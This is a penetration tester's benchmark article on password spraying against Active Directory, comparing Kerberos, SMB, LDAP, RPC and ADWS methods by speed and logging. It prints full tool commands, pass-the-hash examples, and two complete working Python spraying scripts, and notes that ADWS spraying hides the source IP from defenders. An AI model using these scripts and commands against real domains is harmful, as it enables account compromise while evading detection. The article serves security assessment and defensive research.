Password spraying on Active Directory: a quick benchmark
A few months ago, I was working on an Active Directory security assessment engagement for a fairly big company. The associated Active Directory domain was quite large (over 130000 users) and at one point I had to perform password spraying attacks to check whether easily guessable passwords were in use or not.
Out of habit I did it using ̀NetExec and then noticed it took forever to complete (over 1h30); while this is largely due to NetExec not performing scans and attacks in a multithreaded way by default, this gave me the idea of benchmarking various ways of performing password spraying attacks and how fast they are.
In this article, we will go over multiple methods performing password spraying attacks, from very common methods to not-so-common methods. We will look at how fast they are in a relatively large Active Directory environment (~100000 users) as well as how noisy they are regarding detection.
Methodology and limits
In order to have consistent results and not go over a million methods / tools, a few restrictions have been put in place when doing the benchmarking:
- Only password spraying attacks that can be performed on a stock Active Directory environment (no extra services required) have been tested. This means methods such as MSSQL have not been tested.
- Techniques relying on hybrid environments (ADFS for example) are outside of the scope of this article.
- When allowed by the tested tool, tests have been performed first using 10 threads, then with 100 threads.
- The tested Active Directory environment has 100004 users, with all of them having randomized passwords except for 10 users having the password
December2025!. The domain ismycompany.localand the DC IP addresses are192.168.56.211and192.168.56.212. - All tests have been performed multiple times in order to make sure that the results are consistent.
- Tests were performed from a Linux host, so Windows-only tools have not been tested.
Benchmarked techniques
The following techniques were tested, using various tools:
Kerberos pre-authentication
This method uses Kerberos pre-authentication (AS_REQ aka requesting a TGT) in order to test for valid credentials. This can be done through TCP as well as UDP, making it a popular choice for fast password spraying. This technique was tested using the following tools:
- Kerbrute v1.0.3, which uses UDP transport. Passing the RC4 key directly (overpass-the-hash) is not possible using this tool. The following command was used during the tests:
1
$ time kerbrute passwordspray --dc '192.168.56.211' -d 'mycompany.local' -t $THREADS users.txt 'December2025!'
- smartbrute, using TCP transport; UDP was not tested as it is unreliable using this tool (frequently freezes). Both specifying the password and the RC4 key was tested. The following commands were used during the tests:
1 2 3
$ time smartbrute brute -bU users.txt -bp 'December2025!' kerberos -d mycompany.local --kdc-ip 192.168.56.211 -p tcp # Overpass-the-hash $ time smartbrute brute -bU users.txt -bh '66aebb0dc79cf3cb3ac5f201f45a8ba7' kerberos -d mycompany.local --kdc-ip 192.168.56.212 -p tcp
While using AES-128 / AES-256 is possible using smartbrute, it is several orders of magnitude slower than RC4, making it unrealistic for large environments. It should also be noted that smartbrute does not support multithreading; as such, all tests using this tool are going to be single-threaded.
NTLM authentication
SMB
This is a classic password spraying technique using NTLM authentication through the SMB protocol. This technique was tested using the following tools:
- NetExec v1.4.0, using the following commands:
1 2 3 4
# Output redirection to a file or to /dev/null helps with speed $ time nxc smb 192.168.56.211 -u users.txt -p 'December2025!' -t $THREADS --continue-on-success >/tmp/output.txt # Pass-the-hash $ time nxc smb 192.168.56.212 -u users.txt -H '66aebb0dc79cf3cb3ac5f201f45a8ba7' --continue-on-success -t $THREADS >/tmp/output.txt
- smartbrute, using the following commands:
1 2 3
$ time smartbrute brute -bU users.txt -bp 'December2025!' ntlm -d mycompany.local --dc-ip 192.168.56.211 -p smb # Pass-the-hash $ time smartbrute brute -bU users.txt -bh '66aebb0dc79cf3cb3ac5f201f45a8ba7' ntlm -d mycompany.local --dc-ip 192.168.56.212 -p smb
Both specifying the password and the NTLM hash (pass-the-hash) were tested using both tools.
LDAP
This is another classic password spraying technique, using NTLM authentication through the LDAP protocol instead of SMB. This technique was tested using the following tools:
- NetExec v1.4.0, using the following commands:
1 2 3 4
# Output redirection to a file or to /dev/null helps with speed $ time nxc ldap 192.168.56.212 -u users.txt -p 'December2025!' -t $THREADS --continue-on-success >/tmp/output.txt # Pass-the-hash $ time nxc ldap 192.168.56.212 -u users.txt -H '66aebb0dc79cf3cb3ac5f201f45a8ba7' --continue-on-success -t $THREADS >/tmp/output.txt
- smartbrute
1 2 3
$ time smartbrute brute -bU users.txt -bp 'December2025!' ntlm -d mycompany.local --dc-ip 192.168.56.211 -p ldap # Pass-the-hash $ time smartbrute brute -bU users.txt -bh '66aebb0dc79cf3cb3ac5f201f45a8ba7' ntlm -d mycompany.local --dc-ip 192.168.56.212 -p ldap
Again, both specifying the password and the NTLM hash (pass-the-hash) were tested using both tools.
RPC
This password spraying technique uses RPC Endpoint Mapper (port 135) and the MS-NRPC (Netlogon) interface. A custom script has been developed for this purpose based on the impacket library, allowing for multithreaded spraying on this service. Source code for the script can be found here:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
import argparse
import os.path
import threading
from impacket import ntlm
from impacket.dcerpc.v5 import transport, epm
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcName
def get_users_file(path):
with open(path, 'r') as file:
users = file.read().splitlines()
return users
def brute(users, options, bind):
rpc_transport = transport.DCERPCTransportFactory(bind)
dce = rpc_transport.get_dce_rpc()
for user in users:
try:
dce.set_credentials(user, "", options.domain, "", options.hash)
dce.connect()
dce.bind(MSRPC_UUID_NRPC)
hDsrGetDcName(dce, '', '', 0, 0, 0)
dce.disconnect()
if options.password:
print(f"[+] Login successful for {user}:{options.password}")
else:
print(f"[+] Login successful for {user}:{options.hash}")
except DCERPCException:
dce.disconnect()
if options.verbose:
if options.password:
print(f"[-] Login failed for {user}:{options.password}")
else:
print(f"[-] Login failed for {user}:{options.hash}")
pass
pass
except Exception as e:
print(e)
dce.disconnect()
pass
def chunks(lst, n):
for i in range(0, len(lst), n):
yield lst[i:i + n]
def main():
parser = argparse.ArgumentParser(
add_help=True,
description="Perform password spraying through RPC",
)
parser.add_argument(
"-u", "--user",
action="store",
help="User to test or path to users file",
required=True,
)
parser.add_argument(
"-t", "--target",
metavar="IP",
action="store",
help="Target server",
required=True,
)
parser.add_argument(
"-d", "--domain",
action="store",
help="Domain",
required=True,
)
parser.add_argument(
"-T", "--threads",
action="store",
default=10,
type=int,
help="Number of threads to use (default: 10)",
)
parser.add_argument(
"-v", "--verbose",
action="store_true",
help="Log failures as well",
)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument(
"-p", "--password",
action="store",
help="Password",
)
group.add_argument(
"-H", "--hash",
action="store",
metavar="NTHASH",
help="Use an NT hash for authentication",
)
options = parser.parse_args()
if os.path.isfile(options.user):
users = get_users_file(options.user)
else:
users = [options.user]
users_per_chunk = len(users) // options.threads if len(users) > options.threads else options.threads
if options.password:
options.hash = ntlm.compute_nthash(options.password).hex() # Precalculate NT hash to avoid calculating it on each try
bind = epm.hept_map(options.target, MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
print(f"> Starting password spraying with {options.threads} threads\n")
threads = []
for l in chunks(users, users_per_chunk):
t = threading.Thread(target=brute, args=(l, options, bind))
threads.append(t)
for t in threads:
t.start()
for t in threads:
t.join()
print(f"\n> Done!")
if __name__ == "__main__":
main()
The script was then invoked using the following command:
1
$ time python spray_rpc.py -t 192.168.56.212 -u ../tests/users.txt -p 'December2025!' -d 'mycompany.local' -T $THREADS
It should be noted that the script pre-hashes the password if a clear text one is specified, meaning that the performance between Pass-the-hash and cleartext password is the same.
Tools such as rpcclient and enum4linux first access the lsass named pipe to retrieve information, making the first authentication actually handled by SMB. As such, they do not fit this specific technique.
ADWS
This technique uses the ADWS (Active Directory Web Services) endpoint, which is enabled by default on domain controllers. This service can be used instead of LDAP to enumerate the domain in a faster and stealthier way; several projects such as SOAPy, SOAPHound or PingCastle can use this service in order to query the domain. You can read IBM X-Force’s blog post about the subject if you wish to learn more about ADWS.
While this service is mostly known for being an alternative to LDAP to perform domain enumeration, it seems no one has attempted to use this service in order to perform password spraying and bruteforce attacks. Thanks to SOAPy being open source, it was easily possible to make a custom script that performs multithreaded password spraying attacks through ADWS. Source code for the script can be found here:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import argparse
import os.path
import threading
from impacket import ntlm
from src.adws import ADWSConnect, NTLMAuth # From SOAPy
def get_users_file(path):
with open(path, 'r') as file:
users = file.read().splitlines()
return users
def brute(users, options):
auth = NTLMAuth(password=None, hashes=options.hash)
for user in users:
try:
ADWSConnect.pull_client(options.target, options.domain, user, auth)
if options.password:
print(f"[+] Login successful for {user}:{options.password}")
else:
print(f"[+] Login successful for {user}:{options.hash}")
except SystemExit:
if options.verbose:
if options.password:
print(f"[-] Login failed for {user}:{options.password}")
else:
print(f"[-] Login failed for {user}:{options.hash}")
pass
except Exception as e:
print(f"[!] Error: {e}")
pass
def chunks(lst, n):
for i in range(0, len(lst), n):
yield lst[i:i + n]
def main():
parser = argparse.ArgumentParser(
add_help=True,
description="Perform password spraying through ADWS",
)
parser.add_argument(
"-u", "--user",
action="store",
help="User to test or path to users file",
required=True,
)
parser.add_argument(
"-t", "--target",
metavar="IP",
action="store",
help="Target server",
required=True,
)
parser.add_argument(
"-d", "--domain",
action="store",
help="Domain",
required=True,
)
parser.add_argument(
"-T", "--threads",
action="store",
default=10,
type=int,
help="Number of threads to use (default: 10)",
)
parser.add_argument(
"-v", "--verbose",
action="store_true",
help="Log failures as well",
)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument(
"-p", "--password",
action="store",
help="Password",
)
group.add_argument(
"-H", "--hash",
action="store",
metavar="NTHASH",
help="Use an NT hash for authentication",
)
options = parser.parse_args()
if os.path.isfile(options.user):
users = get_users_file(options.user)
else:
users = [options.user]
users_per_chunk = len(users) // options.threads if len(users) > options.threads else options.threads
if options.password:
options.hash = ntlm.compute_nthash(options.password).hex() # Precalculate NT hash to avoid calculating it on each try
print(f"> Starting password spraying with {options.threads} threads\n")
threads = []
for l in chunks(users, users_per_chunk):
t = threading.Thread(target=brute, args=(l, options,))
threads.append(t)
for t in threads:
t.start()
for t in threads:
t.join()
print(f"\n> Done!")
if __name__ == "__main__":
main()
The script was then invoked using the following command:
1
$ time poetry run python src/spray.py -u ../../tests/users.txt -t "192.168.56.212" -d "mydomain.local" -p 'December2025!' -T $THREADS
Similar to the RPC script, the password is pre-hashed if a clear text one is specified, meaning that the performance between Pass-the-hash and cleartext password is the same.
Results
The following graph shows the results of the benchmark for each technique and tool, using 10 threads. It should be noted that since smartbrute does not support multithreading, tests using this tool are single-threaded. As a reminder, tests are being performed on a Active Directory environment containing 100004 users.
%%{init: {"xyChart": {"showDataLabel": true, "chartOrientation": "horizontal"}}}%%
xychart-beta
title "Benchmark results (10 threads)"
x-axis ["Kerbrute", "nxc (SMB)", "nxc (SMB+PtH)", "nxc (LDAP)", "nxc (LDAP+PtH)", "smartbrute (SMB)", "smartbrute (SMB+PtH)", "smartbrute (LDAP)", "smartbrute (LDAP+PtH)", "smartbrute (KRB5)", "smartbrute (KRB5+OtH)", "RPC", "ADWS"]
y-axis "Time (in seconds)" 0 --> 800
bar [219.35, 542.59, 541.03, 373.33, 367, 737.68, 772.24, 467.38, 445.15, 233.36, 240.94, 455.55, 325.73]
Using this data, a few interesting points can be made:
- Kerberos pre-authentication is the fastest method with this number of threads, regardless of TCP or UDP being used. It is also worth noting that single-threaded spraying using smartbrute (TCP) is almost as fast as multi-threaded spraying using Kerbrute (UDP), meaning that the number of threads is not extremely relevant to performance when it comes to Kerberos pre-authentication spraying (at least at a low number of threads).
- ADWS comes second when it comes to performance at this number of threads, beating common methods such as SMB and LDAP.
- No significant difference is present between Pass-the-Hash and direct password at this number of threads, with nxc having the pretty much the same performance between cleartext entry and Pass-the-hash (1~6s difference). Smartbrute has more differences between cleartext vs Pass-the-hash but the results are inconsistent despite running the tool multiple times (PtH is sometimes faster, sometimes slower), which may be caused by other factors.
- RPC is on par with single-threaded LDAP spraying using smartbrute despite running with 10 threads; it is however still faster than SMB password spraying using nxc (10 threads).
Using 100 threads, it is however possible to see different results, as seen on the graph below.
%%{init: {"xyChart": {"showDataLabel": true, "chartOrientation": "horizontal", "height": 315}}}%%
xychart-beta
title "Benchmark results (100 threads)"
x-axis ["Kerbrute", "nxc (SMB)", "nxc (SMB+PtH)", "nxc (LDAP)", "nxc (LDAP+PtH)", "RPC", "ADWS"]
y-axis "Time (in seconds)" 0 --> 800
bar [206.12, 532.11, 509.17, 357.49, 337.52, 469.76, 137.40]
Some very interesting observations can be made:
- Kerbrute and nxc are only slightly faster (10~20s difference) compared to their respective 10-thread runs, making it not really worth to run them with a higher number of threads.
- Pass-the-hash is slightly faster on nxc with a high number of threads, with a consistent gain of about 20 seconds per run.
- RPC is about the same speed, if not slower with a higher number of threads. This means the performance bottleneck is not related to parallelism.
- ADWS is significantly faster at a high number of threads, with a 188s time save (over 3 minutes) compared to the 10-thread run. This makes it possible to complete the spray on 100004 users in under 2mn20, which is faster than any of the popular techniques tested!
As seen above, tools and protocols react differently depending on the number of threads, as the performance bottleneck might come from different sources, whether it’s related to parallelism or the service / protocol itself.
Detection
Speed is cool and all, but what about detection? There are 4 main event IDs that are usually monitored in order to detect password spraying attacks. These IDs depend on the authentication protocol used:
- For NTLM-based authentication, IDs 4624 (success) and 4625 (failure) are usually monitored. These events contain a lot of information which are useful for the Blue Team such as the source IP address and port as well as the targeted user. These information are very valuable as they can allow them to track down which machine is performing the spray as well as which users have been compromised.
- For Kerberos, IDs 4768 (success) and 4771 (pre-auth failure) can be used to monitor spraying attacks as well. However, event 4771 is not enabled by default and must be configured manually; as such, Kerberos spraying is generally considered to be a bit stealthier compared to NTLM-based techniques. These events contain the same type of information compared to their NTLM counterpart, such as the source IP and port as well as the targeted user.
Event 4771 (Kerberos pre-authentication fail)
Event 4768 (TGT successfully issued)
However, there is one extremely interesting difference with the ADWS protocol, which is linked with the way the service works: ADWS basically provide a web service interface to AD DS (Active Directory Domain Services) or its more lightweight equivalent, AD LDS (Active Directory Lightweight Directory Services).
The following graph shows a high-level view of how ADWS works.
flowchart LR
user((User))
user-- TCP/9389 -->ADWS
subgraph DC
ADWS-- LDAP -->adlds(AD DS)
end
As such, when querying the domain through this service, the actual LDAP query is actually performed by the ADWS service, which is hosted on the same server as the AD DS / AD LDS service. This means the source IP will be shown as localhost in the logs: this behaviour also applies to logon events, where the source IP address and port is empty when performing the attack through ADWS.
Event 4625 with no source IP and port
Event 4624 with no source IP and port
Effectively, a password spray attack performed through ADWS cannot be traced back to a specific machine / address unless additional monitoring is in place (for example on the port 9389 or network monitoring in general). This can help evading network isolation, though the Blue Team will of course still be able to know if a password spraying attack is ongoing.
Other techniques such as randomly delaying requests can also be done to circumvent detection. These however have not been tested as part of this benchmark.
Conclusion
While password spraying is a largely used attack with many different ways of doing it, not all of them are equal and the fastest tool differs depending on the number of threads used. Kerberos pre-authentication, which has been a popular password spraying technique for years, remains a solid choice in almost all use cases; ADWS might nonetheless be a serious alternative, offering higher performance at a high number of threads as well as upsides regarding logging and detection as demonstrated in this article.
I hope this article was as informative to you as it was for me writing and researching it; thank you for reading!

